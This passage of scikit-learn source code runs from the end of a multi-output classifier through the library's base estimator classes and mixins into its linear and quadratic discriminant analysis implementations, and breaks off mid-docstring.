    """Multi target classification

    This strategy consists of fitting one classifier per target. This is a
    simple strategy for extending classifiers that do not natively support
    multi-target classification

    Parameters
    ----------
    estimator : estimator object
        An estimator object implementing `fit`, `score` and `predict_proba`.

    n_jobs : int, optional, default=1
        The number of jobs to use for the computation. If -1 all CPUs are used.
        If 1 is given, no parallel computing code is used at all, which is
        useful for debugging. For n_jobs below -1, (n_cpus + 1 + n_jobs) are
        used. Thus for n_jobs = -2, all CPUs but one are used.
        The number of jobs to use for the computation.
        It does each target variable in y in parallel.

    Attributes
    ----------
    estimators_ : list of `n_output` estimators
        Estimators used for predictions.
    """

    def __init__(self, estimator, n_jobs=1):
        super(MultiOutputClassifier, self).__init__(estimator, n_jobs)

    def predict_proba(self, X):
        """Probability estimates.
        Returns prediction probabilites for each class of each output.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Data

        Returns
        -------
        T : (sparse) array-like, shape = (n_samples, n_classes, n_outputs)
            The class probabilities of the samples for each of the outputs
        """
        check_is_fitted(self, 'estimators_')
        if not hasattr(self.estimator, "predict_proba"):
            raise ValueError("The base estimator should implement"
                             "predict_proba method")

        results = np.dstack([estimator.predict_proba(X) for estimator in
                            self.estimators_])
        return results

    def score(self, X, y):
        """"Returns the mean accuracy on the given test data and labels.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            Test samples

        y : array-like, shape [n_samples, n_outputs]
            True values for X

        Returns
        -------
        scores : float
            accuracy_score of self.predict(X) versus y
        """
        check_is_fitted(self, 'estimators_')
        n_outputs_ = len(self.estimators_)
        if y.ndim == 1:
            raise ValueError("y must have at least two dimensions for "
                             "multi target classification but has only one")
        if y.shape[1] != n_outputs_:
            raise ValueError("The number of outputs of Y for fit {0} and"
                             " score {1} should be same".
                             format(n_outputs_, y.shape[1]))
        y_pred = self.predict(X)
        return np.mean(np.all(y == y_pred, axis=1))






"""Base classes for all estimators."""

# Author: Gael Varoquaux <gael.varoquaux@normalesup.org>
# License: BSD 3 clause

import copy
import warnings

import numpy as np
from scipy import sparse
from .externals import six
from .utils.fixes import signature
from .utils.deprecation import deprecated
from .exceptions import ChangedBehaviorWarning as _ChangedBehaviorWarning


@deprecated("ChangedBehaviorWarning has been moved into the sklearn.exceptions"
            " module. It will not be available here from version 0.19")
class ChangedBehaviorWarning(_ChangedBehaviorWarning):
    pass


##############################################################################
def _first_and_last_element(arr):
    """Returns first and last element of numpy array or sparse matrix."""
    if isinstance(arr, np.ndarray) or hasattr(arr, 'data'):
        # numpy array or sparse matrix with .data attribute
        data = arr.data if sparse.issparse(arr) else arr
        return data.flat[0], data.flat[-1]
    else:
        # Sparse matrices without .data attribute. Only dok_matrix at
        # the time of writing, in this case indexing is fast
        return arr[0, 0], arr[-1, -1]


def clone(estimator, safe=True):
    """Constructs a new estimator with the same parameters.

    Clone does a deep copy of the model in an estimator
    without actually copying attached data. It yields a new estimator
    with the same parameters that has not been fit on any data.

    Parameters
    ----------
    estimator: estimator object, or list, tuple or set of objects
        The estimator or group of estimators to be cloned

    safe: boolean, optional
        If safe is false, clone will fall back to a deepcopy on objects
        that are not estimators.

    """
    estimator_type = type(estimator)
    # XXX: not handling dictionaries
    if estimator_type in (list, tuple, set, frozenset):
        return estimator_type([clone(e, safe=safe) for e in estimator])
    elif not hasattr(estimator, 'get_params'):
        if not safe:
            return copy.deepcopy(estimator)
        else:
            raise TypeError("Cannot clone object '%s' (type %s): "
                            "it does not seem to be a scikit-learn estimator "
                            "as it does not implement a 'get_params' methods."
                            % (repr(estimator), type(estimator)))
    klass = estimator.__class__
    new_object_params = estimator.get_params(deep=False)
    for name, param in six.iteritems(new_object_params):
        new_object_params[name] = clone(param, safe=False)
    new_object = klass(**new_object_params)
    params_set = new_object.get_params(deep=False)

    # quick sanity check of the parameters of the clone
    for name in new_object_params:
        param1 = new_object_params[name]
        param2 = params_set[name]
        if isinstance(param1, np.ndarray):
            # For most ndarrays, we do not test for complete equality
            if not isinstance(param2, type(param1)):
                equality_test = False
            elif (param1.ndim > 0
                    and param1.shape[0] > 0
                    and isinstance(param2, np.ndarray)
                    and param2.ndim > 0
                    and param2.shape[0] > 0):
                equality_test = (
                    param1.shape == param2.shape
                    and param1.dtype == param2.dtype
                    and (_first_and_last_element(param1) ==
                         _first_and_last_element(param2))
                )
            else:
                equality_test = np.all(param1 == param2)
        elif sparse.issparse(param1):
            # For sparse matrices equality doesn't work
            if not sparse.issparse(param2):
                equality_test = False
            elif param1.size == 0 or param2.size == 0:
                equality_test = (
                    param1.__class__ == param2.__class__
                    and param1.size == 0
                    and param2.size == 0
                )
            else:
                equality_test = (
                    param1.__class__ == param2.__class__
                    and (_first_and_last_element(param1) ==
                         _first_and_last_element(param2))
                    and param1.nnz == param2.nnz
                    and param1.shape == param2.shape
                )
        else:
            new_obj_val = new_object_params[name]
            params_set_val = params_set[name]
            # The following construct is required to check equality on special
            # singletons such as np.nan that are not equal to them-selves:
            equality_test = (new_obj_val == params_set_val or
                             new_obj_val is params_set_val)
        if not equality_test:
            raise RuntimeError('Cannot clone object %s, as the constructor '
                               'does not seem to set parameter %s' %
                               (estimator, name))

    return new_object


###############################################################################
def _pprint(params, offset=0, printer=repr):
    """Pretty print the dictionary 'params'

    Parameters
    ----------
    params: dict
        The dictionary to pretty print

    offset: int
        The offset in characters to add at the begin of each line.

    printer:
        The function to convert entries to strings, typically
        the builtin str or repr

    """
    # Do a multi-line justified repr:
    options = np.get_printoptions()
    np.set_printoptions(precision=5, threshold=64, edgeitems=2)
    params_list = list()
    this_line_length = offset
    line_sep = ',\n' + (1 + offset // 2) * ' '
    for i, (k, v) in enumerate(sorted(six.iteritems(params))):
        if type(v) is float:
            # use str for representing floating point numbers
            # this way we get consistent representation across
            # architectures and versions.
            this_repr = '%s=%s' % (k, str(v))
        else:
            # use repr of the rest
            this_repr = '%s=%s' % (k, printer(v))
        if len(this_repr) > 500:
            this_repr = this_repr[:300] + '...' + this_repr[-100:]
        if i > 0:
            if (this_line_length + len(this_repr) >= 75 or '\n' in this_repr):
                params_list.append(line_sep)
                this_line_length = len(line_sep)
            else:
                params_list.append(', ')
                this_line_length += 2
        params_list.append(this_repr)
        this_line_length += len(this_repr)

    np.set_printoptions(**options)
    lines = ''.join(params_list)
    # Strip trailing space to avoid nightmare in doctests
    lines = '\n'.join(l.rstrip(' ') for l in lines.split('\n'))
    return lines


###############################################################################
class BaseEstimator(object):
    """Base class for all estimators in scikit-learn

    Notes
    -----
    All estimators should specify all the parameters that can be set
    at the class level in their ``__init__`` as explicit keyword
    arguments (no ``*args`` or ``**kwargs``).
    """

    @classmethod
    def _get_param_names(cls):
        """Get parameter names for the estimator"""
        # fetch the constructor or the original constructor before
        # deprecation wrapping if any
        init = getattr(cls.__init__, 'deprecated_original', cls.__init__)
        if init is object.__init__:
            # No explicit constructor to introspect
            return []

        # introspect the constructor arguments to find the model parameters
        # to represent
        init_signature = signature(init)
        # Consider the constructor parameters excluding 'self'
        parameters = [p for p in init_signature.parameters.values()
                      if p.name != 'self' and p.kind != p.VAR_KEYWORD]
        for p in parameters:
            if p.kind == p.VAR_POSITIONAL:
                raise RuntimeError("scikit-learn estimators should always "
                                   "specify their parameters in the signature"
                                   " of their __init__ (no varargs)."
                                   " %s with constructor %s doesn't "
                                   " follow this convention."
                                   % (cls, init_signature))
        # Extract and sort argument names excluding 'self'
        return sorted([p.name for p in parameters])

    def get_params(self, deep=True):
        """Get parameters for this estimator.

        Parameters
        ----------
        deep: boolean, optional
            If True, will return the parameters for this estimator and
            contained subobjects that are estimators.

        Returns
        -------
        params : mapping of string to any
            Parameter names mapped to their values.
        """
        out = dict()
        for key in self._get_param_names():
            # We need deprecation warnings to always be on in order to
            # catch deprecated param values.
            # This is set in utils/__init__.py but it gets overwritten
            # when running under python3 somehow.
            warnings.simplefilter("always", DeprecationWarning)
            try:
                with warnings.catch_warnings(record=True) as w:
                    value = getattr(self, key, None)
                if len(w) and w[0].category == DeprecationWarning:
                    # if the parameter is deprecated, don't show it
                    continue
            finally:
                warnings.filters.pop(0)

            # XXX: should we rather test if instance of estimator?
            if deep and hasattr(value, 'get_params'):
                deep_items = value.get_params().items()
                out.update((key + '__' + k, val) for k, val in deep_items)
            out[key] = value
        return out

    def set_params(self, **params):
        """Set the parameters of this estimator.

        The method works on simple estimators as well as on nested objects
        (such as pipelines). The latter have parameters of the form
        ``<component>__<parameter>`` so that it's possible to update each
        component of a nested object.

        Returns
        -------
        self
        """
        if not params:
            # Simple optimisation to gain speed (inspect is slow)
            return self
        valid_params = self.get_params(deep=True)
        for key, value in six.iteritems(params):
            split = key.split('__', 1)
            if len(split) > 1:
                # nested objects case
                name, sub_name = split
                if name not in valid_params:
                    raise ValueError('Invalid parameter %s for estimator %s. '
                                     'Check the list of available parameters '
                                     'with `estimator.get_params().keys()`.' %
                                     (name, self))
                sub_object = valid_params[name]
                sub_object.set_params(**{sub_name: value})
            else:
                # simple objects case
                if key not in valid_params:
                    raise ValueError('Invalid parameter %s for estimator %s. '
                                     'Check the list of available parameters '
                                     'with `estimator.get_params().keys()`.' %
                                     (key, self.__class__.__name__))
                setattr(self, key, value)
        return self

    def __repr__(self):
        class_name = self.__class__.__name__
        return '%s(%s)' % (class_name, _pprint(self.get_params(deep=False),
                                               offset=len(class_name),),)


###############################################################################
class ClassifierMixin(object):
    """Mixin class for all classifiers in scikit-learn."""
    _estimator_type = "classifier"

    def score(self, X, y, sample_weight=None):
        """Returns the mean accuracy on the given test data and labels.

        In multi-label classification, this is the subset accuracy
        which is a harsh metric since you require for each sample that
        each label set be correctly predicted.

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)
            Test samples.

        y : array-like, shape = (n_samples) or (n_samples, n_outputs)
            True labels for X.

        sample_weight : array-like, shape = [n_samples], optional
            Sample weights.

        Returns
        -------
        score : float
            Mean accuracy of self.predict(X) wrt. y.

        """
        from .metrics import accuracy_score
        return accuracy_score(y, self.predict(X), sample_weight=sample_weight)


###############################################################################
class RegressorMixin(object):
    """Mixin class for all regression estimators in scikit-learn."""
    _estimator_type = "regressor"

    def score(self, X, y, sample_weight=None):
        """Returns the coefficient of determination R^2 of the prediction.

        The coefficient R^2 is defined as (1 - u/v), where u is the regression
        sum of squares ((y_true - y_pred) ** 2).sum() and v is the residual
        sum of squares ((y_true - y_true.mean()) ** 2).sum().
        Best possible score is 1.0 and it can be negative (because the
        model can be arbitrarily worse). A constant model that always
        predicts the expected value of y, disregarding the input features,
        would get a R^2 score of 0.0.

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)
            Test samples.

        y : array-like, shape = (n_samples) or (n_samples, n_outputs)
            True values for X.

        sample_weight : array-like, shape = [n_samples], optional
            Sample weights.

        Returns
        -------
        score : float
            R^2 of self.predict(X) wrt. y.
        """

        from .metrics import r2_score
        return r2_score(y, self.predict(X), sample_weight=sample_weight,
                        multioutput='variance_weighted')


###############################################################################
class ClusterMixin(object):
    """Mixin class for all cluster estimators in scikit-learn."""
    _estimator_type = "clusterer"

    def fit_predict(self, X, y=None):
        """Performs clustering on X and returns cluster labels.

        Parameters
        ----------
        X : ndarray, shape (n_samples, n_features)
            Input data.

        Returns
        -------
        y : ndarray, shape (n_samples,)
            cluster labels
        """
        # non-optimized default implementation; override when a better
        # method is possible for a given clustering algorithm
        self.fit(X)
        return self.labels_


class BiclusterMixin(object):
    """Mixin class for all bicluster estimators in scikit-learn"""

    @property
    def biclusters_(self):
        """Convenient way to get row and column indicators together.

        Returns the ``rows_`` and ``columns_`` members.
        """
        return self.rows_, self.columns_

    def get_indices(self, i):
        """Row and column indices of the i'th bicluster.

        Only works if ``rows_`` and ``columns_`` attributes exist.

        Returns
        -------
        row_ind : np.array, dtype=np.intp
            Indices of rows in the dataset that belong to the bicluster.
        col_ind : np.array, dtype=np.intp
            Indices of columns in the dataset that belong to the bicluster.

        """
        rows = self.rows_[i]
        columns = self.columns_[i]
        return np.nonzero(rows)[0], np.nonzero(columns)[0]

    def get_shape(self, i):
        """Shape of the i'th bicluster.

        Returns
        -------
        shape : (int, int)
            Number of rows and columns (resp.) in the bicluster.
        """
        indices = self.get_indices(i)
        return tuple(len(i) for i in indices)

    def get_submatrix(self, i, data):
        """Returns the submatrix corresponding to bicluster `i`.

        Works with sparse matrices. Only works if ``rows_`` and
        ``columns_`` attributes exist.

        """
        from .utils.validation import check_array
        data = check_array(data, accept_sparse='csr')
        row_ind, col_ind = self.get_indices(i)
        return data[row_ind[:, np.newaxis], col_ind]


###############################################################################
class TransformerMixin(object):
    """Mixin class for all transformers in scikit-learn."""

    def fit_transform(self, X, y=None, **fit_params):
        """Fit to data, then transform it.

        Fits transformer to X and y with optional parameters fit_params
        and returns a transformed version of X.

        Parameters
        ----------
        X : numpy array of shape [n_samples, n_features]
            Training set.

        y : numpy array of shape [n_samples]
            Target values.

        Returns
        -------
        X_new : numpy array of shape [n_samples, n_features_new]
            Transformed array.

        """
        # non-optimized default implementation; override when a better
        # method is possible for a given clustering algorithm
        if y is None:
            # fit method of arity 1 (unsupervised transformation)
            return self.fit(X, **fit_params).transform(X)
        else:
            # fit method of arity 2 (supervised transformation)
            return self.fit(X, y, **fit_params).transform(X)


class DensityMixin(object):
    """Mixin class for all density estimators in scikit-learn."""
    _estimator_type = "DensityEstimator"

    def score(self, X, y=None):
        """Returns the score of the model on the data X

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)

        Returns
        -------
        score: float
        """
        pass


###############################################################################
class MetaEstimatorMixin(object):
    """Mixin class for all meta estimators in scikit-learn."""
    # this is just a tag for the moment


###############################################################################

def is_classifier(estimator):
    """Returns True if the given estimator is (probably) a classifier."""
    return getattr(estimator, "_estimator_type", None) == "classifier"


def is_regressor(estimator):
    """Returns True if the given estimator is (probably) a regressor."""
    return getattr(estimator, "_estimator_type", None) == "regressor"






"""
Linear Discriminant Analysis and Quadratic Discriminant Analysis
"""

# Authors: Clemens Brunner
#          Martin Billinger
#          Matthieu Perrot
#          Mathieu Blondel

# License: BSD 3-Clause

from __future__ import print_function
import warnings

import numpy as np
from scipy import linalg
from .externals.six import string_types
from .externals.six.moves import xrange

from .base import BaseEstimator, TransformerMixin, ClassifierMixin
from .linear_model.base import LinearClassifierMixin
from .covariance import ledoit_wolf, empirical_covariance, shrunk_covariance
from .utils.multiclass import unique_labels
from .utils import check_array, check_X_y
from .utils.validation import check_is_fitted
from .utils.fixes import bincount
from .utils.multiclass import check_classification_targets
from .preprocessing import StandardScaler


__all__ = ['LinearDiscriminantAnalysis', 'QuadraticDiscriminantAnalysis']


def _cov(X, shrinkage=None):
    """Estimate covariance matrix (using optional shrinkage).

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Input data.

    shrinkage : string or float, optional
        Shrinkage parameter, possible values:
          - None or 'empirical': no shrinkage (default).
          - 'auto': automatic shrinkage using the Ledoit-Wolf lemma.
          - float between 0 and 1: fixed shrinkage parameter.

    Returns
    -------
    s : array, shape (n_features, n_features)
        Estimated covariance matrix.
    """
    shrinkage = "empirical" if shrinkage is None else shrinkage
    if isinstance(shrinkage, string_types):
        if shrinkage == 'auto':
            sc = StandardScaler()  # standardize features
            X = sc.fit_transform(X)
            s = ledoit_wolf(X)[0]
            s = sc.scale_[:, np.newaxis] * s * sc.scale_[np.newaxis, :]  # rescale
        elif shrinkage == 'empirical':
            s = empirical_covariance(X)
        else:
            raise ValueError('unknown shrinkage parameter')
    elif isinstance(shrinkage, float) or isinstance(shrinkage, int):
        if shrinkage < 0 or shrinkage > 1:
            raise ValueError('shrinkage parameter must be between 0 and 1')
        s = shrunk_covariance(empirical_covariance(X), shrinkage)
    else:
        raise TypeError('shrinkage must be of string or int type')
    return s


def _class_means(X, y):
    """Compute class means.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Input data.

    y : array-like, shape (n_samples,) or (n_samples, n_targets)
        Target values.

    Returns
    -------
    means : array-like, shape (n_features,)
        Class means.
    """
    means = []
    classes = np.unique(y)
    for group in classes:
        Xg = X[y == group, :]
        means.append(Xg.mean(0))
    return np.asarray(means)


def _class_cov(X, y, priors=None, shrinkage=None):
    """Compute class covariance matrix.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        Input data.

    y : array-like, shape (n_samples,) or (n_samples, n_targets)
        Target values.

    priors : array-like, shape (n_classes,)
        Class priors.

    shrinkage : string or float, optional
        Shrinkage parameter, possible values:
          - None: no shrinkage (default).
          - 'auto': automatic shrinkage using the Ledoit-Wolf lemma.
          - float between 0 and 1: fixed shrinkage parameter.

    Returns
    -------
    cov : array-like, shape (n_features, n_features)
        Class covariance matrix.
    """
    classes = np.unique(y)
    covs = []
    for group in classes:
        Xg = X[y == group, :]
        covs.append(np.atleast_2d(_cov(Xg, shrinkage)))
    return np.average(covs, axis=0, weights=priors)


class LinearDiscriminantAnalysis(BaseEstimator, LinearClassifierMixin,
                                 TransformerMixin):
    """Linear Discriminant Analysis

    A classifier with a linear decision boundary, generated by fitting class
    conditional densities to the data and using Bayes' rule.

    The model fits a Gaussian density to each class, assuming that all classes
    share the same covariance matrix.

    The fitted model can also be used to reduce the dimensionality of the input
    by projecting it to the most discriminative directions.

    .. versionadded:: 0.17
       *LinearDiscriminantAnalysis*.

    .. versionchanged:: 0.17
       Deprecated :class:`lda.LDA` have been moved to :class:`LinearDiscriminantAnalysis`.

    Read more in the :ref:`User Guide <lda_qda>`.

    Parameters
    ----------
    solver : string, optional
        Solver to use, possible values:
          - 'svd': Singular value decomposition (default).
            Does not compute the covariance matrix, therefore this solver is
            recommended for data with a large number of features.
          - 'lsqr': Least squares solution, can be combined with shrinkage.
          - 'eigen': Eigenvalue decomposition, can be combined with shrinkage.

    shrinkage : string or float, optional
        Shrinkage parameter, possible values:
          - None: no shrinkage (default).
          - 'auto': automatic shrinkage using the Ledoit-Wolf lemma.
          - float between 0 and 1: fixed shrinkage parameter.

        Note that shrinkage works only with 'lsqr' and 'eigen' solvers.

    priors : array, optional, shape (n_classes,)
        Class priors.

    n_components : int, optional
        Number of components (< n_classes - 1) for dimensionality reduction.

    store_covariance : bool, optional
        Additionally compute class covariance matrix (default False).

        .. versionadded:: 0.17

    tol : float, optional
        Threshold used for rank estimation in SVD solver.

        .. versionadded:: 0.17

    Attributes
    ----------
    coef_ : array, shape (n_features,) or (n_classes, n_features)
        Weight vector(s).

    intercept_ : array, shape (n_features,)
        Intercept term.

    covariance_ : array-like, shape (n_features, n_features)
        Covariance matrix (shared by all classes).

    explained_variance_ratio_ : array, shape (n_components,)
        Percentage of variance explained by each of the selected components.
        If ``n_components`` is not set then all components are stored and the
        sum of explained variances is equal to 1.0. Only available when eigen
        or svd solver is used.

    means_ : array-like, shape (n_classes, n_features)
        Class means.

    priors_ : array-like, shape (n_classes,)
        Class priors (sum to 1).

    scalings_ : array-like, shape (rank, n_classes - 1)
        Scaling of the features in the space spanned by the class centroids.

    xbar_ : array-like, shape (n_features,)
        Overall mean.

    classes_ : array-like, shape (n_classes,)
        Unique class labels.

    See also
    --------
    sklearn.discriminant_analysis.QuadraticDiscriminantAnalysis: Quadratic
        Discriminant Analysis

    Notes
    -----
    The default solver is 'svd'. It can perform both classification and
    transform, and it does not rely on the calculation of the covariance
    matrix. This can be an advantage in situations where the number of features
    is large. However, the 'svd' solver cannot be used with shrinkage.

    The 'lsqr' solver is an efficient algorithm that only works for
    classification. It supports shrinkage.

    The 'eigen' solver is based on the optimization of the between class
    scatter to within class scatter ratio. It can be used for both
    classification and transform, and it supports shrinkage. However, the
    'eigen' solver needs to compute the covariance matrix, so it might not be
    suitable for situations with a high number of features.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.discriminant_analysis import LinearDiscriminantAnalysis
    >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
    >>> y = np.array([1, 1, 1, 2, 2, 2])
    >>> clf = LinearDiscriminantAnalysis()
    >>> clf.fit(X, y)
    LinearDiscriminantAnalysis(n_components=None, priors=None, shrinkage=None,
                  solver='svd', store_covariance=False, tol=0.0001)
    >>> print(clf.predict([[-0.8, -1]]))
    [1]
    """
    def __init__(self, solver='svd', shrinkage=None, priors=None,
                 n_components=None, store_covariance=False, tol=1e-4):
        self.solver = solver
        self.shrinkage = shrinkage
        self.priors = priors
        self.n_components = n_components
        self.store_covariance = store_covariance  # used only in svd solver
        self.tol = tol  # used only in svd solver

    def _solve_lsqr(self, X, y, shrinkage):
        """Least squares solver.

        The least squares solver computes a straightforward solution of the
        optimal decision rule based directly on the discriminant functions. It
        can only be used for classification (with optional shrinkage), because
        estimation of eigenvectors is not performed. Therefore, dimensionality
        reduction with the transform is not supported.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array-like, shape (n_samples,) or (n_samples, n_classes)
            Target values.

        shrinkage : string or float, optional
            Shrinkage parameter, possible values:
              - None: no shrinkage (default).
              - 'auto': automatic shrinkage using the Ledoit-Wolf lemma.
              - float between 0 and 1: fixed shrinkage parameter.

        Notes
        -----
        This solver is based on [1]_, section 2.6.2, pp. 39-41.

        References
        ----------
        .. [1] R. O. Duda, P. E. Hart, D. G. Stork. Pattern Classification
           (Second Edition). John Wiley & Sons, Inc., New York, 2001. ISBN
           0-471-05669-3.
        """
        self.means_ = _class_means(X, y)
        self.covariance_ = _class_cov(X, y, self.priors_, shrinkage)
        self.coef_ = linalg.lstsq(self.covariance_, self.means_.T)[0].T
        self.intercept_ = (-0.5 * np.diag(np.dot(self.means_, self.coef_.T))
                           + np.log(self.priors_))

    def _solve_eigen(self, X, y, shrinkage):
        """Eigenvalue solver.

        The eigenvalue solver computes the optimal solution of the Rayleigh
        coefficient (basically the ratio of between class scatter to within
        class scatter). This solver supports both classification and
        dimensionality reduction (with optional shrinkage).

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array-like, shape (n_samples,) or (n_samples, n_targets)
            Target values.

        shrinkage : string or float, optional
            Shrinkage parameter, possible values:
              - None: no shrinkage (default).
              - 'auto': automatic shrinkage using the Ledoit-Wolf lemma.
              - float between 0 and 1: fixed shrinkage constant.

        Notes
        -----
        This solver is based on [1]_, section 3.8.3, pp. 121-124.

        References
        ----------
        .. [1] R. O. Duda, P. E. Hart, D. G. Stork. Pattern Classification
           (Second Edition). John Wiley & Sons, Inc., New York, 2001. ISBN
           0-471-05669-3.
        """
        self.means_ = _class_means(X, y)
        self.covariance_ = _class_cov(X, y, self.priors_, shrinkage)

        Sw = self.covariance_  # within scatter
        St = _cov(X, shrinkage)  # total scatter
        Sb = St - Sw  # between scatter

        evals, evecs = linalg.eigh(Sb, Sw)
        self.explained_variance_ratio_ = np.sort(evals / np.sum(evals))[::-1]
        evecs = evecs[:, np.argsort(evals)[::-1]]  # sort eigenvectors
        # evecs /= np.linalg.norm(evecs, axis=0)  # doesn't work with numpy 1.6
        evecs /= np.apply_along_axis(np.linalg.norm, 0, evecs)

        self.scalings_ = evecs
        self.coef_ = np.dot(self.means_, evecs).dot(evecs.T)
        self.intercept_ = (-0.5 * np.diag(np.dot(self.means_, self.coef_.T))
                           + np.log(self.priors_))

    def _solve_svd(self, X, y):
        """SVD solver.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array-like, shape (n_samples,) or (n_samples, n_targets)
            Target values.
        """
        n_samples, n_features = X.shape
        n_classes = len(self.classes_)

        self.means_ = _class_means(X, y)
        if self.store_covariance:
            self.covariance_ = _class_cov(X, y, self.priors_)

        Xc = []
        for idx, group in enumerate(self.classes_):
            Xg = X[y == group, :]
            Xc.append(Xg - self.means_[idx])

        self.xbar_ = np.dot(self.priors_, self.means_)

        Xc = np.concatenate(Xc, axis=0)

        # 1) within (univariate) scaling by with classes std-dev
        std = Xc.std(axis=0)
        # avoid division by zero in normalization
        std[std == 0] = 1.
        fac = 1. / (n_samples - n_classes)

        # 2) Within variance scaling
        X = np.sqrt(fac) * (Xc / std)
        # SVD of centered (within)scaled data
        U, S, V = linalg.svd(X, full_matrices=False)

        rank = np.sum(S > self.tol)
        if rank < n_features:
            warnings.warn("Variables are collinear.")
        # Scaling of within covariance is: V' 1/S
        scalings = (V[:rank] / std).T / S[:rank]

        # 3) Between variance scaling
        # Scale weighted centers
        X = np.dot(((np.sqrt((n_samples * self.priors_) * fac)) *
                    (self.means_ - self.xbar_).T).T, scalings)
        # Centers are living in a space with n_classes-1 dim (maximum)
        # Use SVD to find projection in the space spanned by the
        # (n_classes) centers
        _, S, V = linalg.svd(X, full_matrices=0)

        self.explained_variance_ratio_ = (S**2 / np.sum(
                S**2))[:self.n_components]
        rank = np.sum(S > self.tol * S[0])
        self.scalings_ = np.dot(scalings, V.T[:, :rank])
        coef = np.dot(self.means_ - self.xbar_, self.scalings_)
        self.intercept_ = (-0.5 * np.sum(coef ** 2, axis=1)
                           + np.log(self.priors_))
        self.coef_ = np.dot(coef, self.scalings_.T)
        self.intercept_ -= np.dot(self.xbar_, self.coef_.T)

    def fit(self, X, y, store_covariance=None, tol=None):
        """Fit LinearDiscriminantAnalysis model according to the given
           training data and parameters.

           .. versionchanged:: 0.17
              Deprecated *store_covariance* have been moved to main constructor.

           .. versionchanged:: 0.17
              Deprecated *tol* have been moved to main constructor.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array, shape (n_samples,)
            Target values.
        """
        if store_covariance:
            warnings.warn("The parameter 'store_covariance' is deprecated as "
                          "of version 0.17 and will be removed in 0.19. The "
                          "parameter is no longer necessary because the value "
                          "is set via the estimator initialisation or "
                          "set_params method.", DeprecationWarning)
            self.store_covariance = store_covariance
        if tol:
            warnings.warn("The parameter 'tol' is deprecated as of version "
                          "0.17 and will be removed in 0.19. The parameter is "
                          "no longer necessary because the value is set via "
                          "the estimator initialisation or set_params method.",
                          DeprecationWarning)
            self.tol = tol
        X, y = check_X_y(X, y, ensure_min_samples=2, estimator=self)
        self.classes_ = unique_labels(y)

        if self.priors is None:  # estimate priors from sample
            _, y_t = np.unique(y, return_inverse=True)  # non-negative ints
            self.priors_ = bincount(y_t) / float(len(y))
        else:
            self.priors_ = np.asarray(self.priors)

        if (self.priors_ < 0).any():
            raise ValueError("priors must be non-negative")
        if self.priors_.sum() != 1:
            warnings.warn("The priors do not sum to 1. Renormalizing",
                          UserWarning)
            self.priors_ = self.priors_ / self.priors_.sum()

        if self.solver == 'svd':
            if self.shrinkage is not None:
                raise NotImplementedError('shrinkage not supported')
            self._solve_svd(X, y)
        elif self.solver == 'lsqr':
            self._solve_lsqr(X, y, shrinkage=self.shrinkage)
        elif self.solver == 'eigen':
            self._solve_eigen(X, y, shrinkage=self.shrinkage)
        else:
            raise ValueError("unknown solver {} (valid solvers are 'svd', "
                             "'lsqr', and 'eigen').".format(self.solver))
        if self.classes_.size == 2:  # treat binary case as a special case
            self.coef_ = np.array(self.coef_[1, :] - self.coef_[0, :], ndmin=2)
            self.intercept_ = np.array(self.intercept_[1] - self.intercept_[0],
                                       ndmin=1)
        return self

    def transform(self, X):
        """Project data to maximize class separation.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Input data.

        Returns
        -------
        X_new : array, shape (n_samples, n_components)
            Transformed data.
        """
        if self.solver == 'lsqr':
            raise NotImplementedError("transform not implemented for 'lsqr' "
                                      "solver (use 'svd' or 'eigen').")
        check_is_fitted(self, ['xbar_', 'scalings_'], all_or_any=any)

        X = check_array(X)
        if self.solver == 'svd':
            X_new = np.dot(X - self.xbar_, self.scalings_)
        elif self.solver == 'eigen':
            X_new = np.dot(X, self.scalings_)
        n_components = X.shape[1] if self.n_components is None \
            else self.n_components
        return X_new[:, :n_components]

    def predict_proba(self, X):
        """Estimate probability.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Input data.

        Returns
        -------
        C : array, shape (n_samples, n_classes)
            Estimated probabilities.
        """
        prob = self.decision_function(X)
        prob *= -1
        np.exp(prob, prob)
        prob += 1
        np.reciprocal(prob, prob)
        if len(self.classes_) == 2:  # binary case
            return np.column_stack([1 - prob, prob])
        else:
            # OvR normalization, like LibLinear's predict_probability
            prob /= prob.sum(axis=1).reshape((prob.shape[0], -1))
            return prob

    def predict_log_proba(self, X):
        """Estimate log probability.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Input data.

        Returns
        -------
        C : array, shape (n_samples, n_classes)
            Estimated log probabilities.
        """
        return np.log(self.predict_proba(X))


class QuadraticDiscriminantAnalysis(BaseEstimator, ClassifierMixin):
    """
    Quadratic Discriminant Analysis

    A classifier with a quadratic decision boundary, generated
    by fitting class conditional densities to the data
    and using Bayes' rule.

    The model fits a Gaussian density to each class.

    .. versionadded:: 0.17
       *QuadraticDiscriminantAnalysis*

    .. versionchanged:: 0.17
       Deprecated :class:`qda.QDA` have been moved to :class:`QuadraticDiscriminantAnalysis`.

    Read more in the :ref:`User Guide <lda_qda>`.

    Parameters
    ----------
    priors : array, optional, shape = [n_classes]
        Priors on classes

    reg_param : float, optional
        Regularizes the covariance estimate as
        ``(1-reg_param)*Sigma + reg_param*np.eye(n_features)``

    Attributes
    ----------
    covariances_ : list of array-like, shape = [n_features, n_features]
        Covariance matrices of each class.

    means_ : array-like, shape = [n_classes, n_features]
        Class means.

    priors_ : array-like, shape = [n_classes]
        Class priors (sum to 1).

    rotations_ : list of arrays
        For each class k an array of shape [n_features, n_k], with
        ``n_k = min(n_features, number of elements in class k)``
        It is the rotation of the Gaussian distribution, i.e. its
        principal axis.

    scalings_ : list of arrays
        For each class k an array of shape [n_k]. It contains the scaling
        of the Gaussian distributions along its principal axes, i.e. the
        variance in the rotated coordinate system.

    store_covariances : boolean
        If True the covariance matrices are computed and stored in the
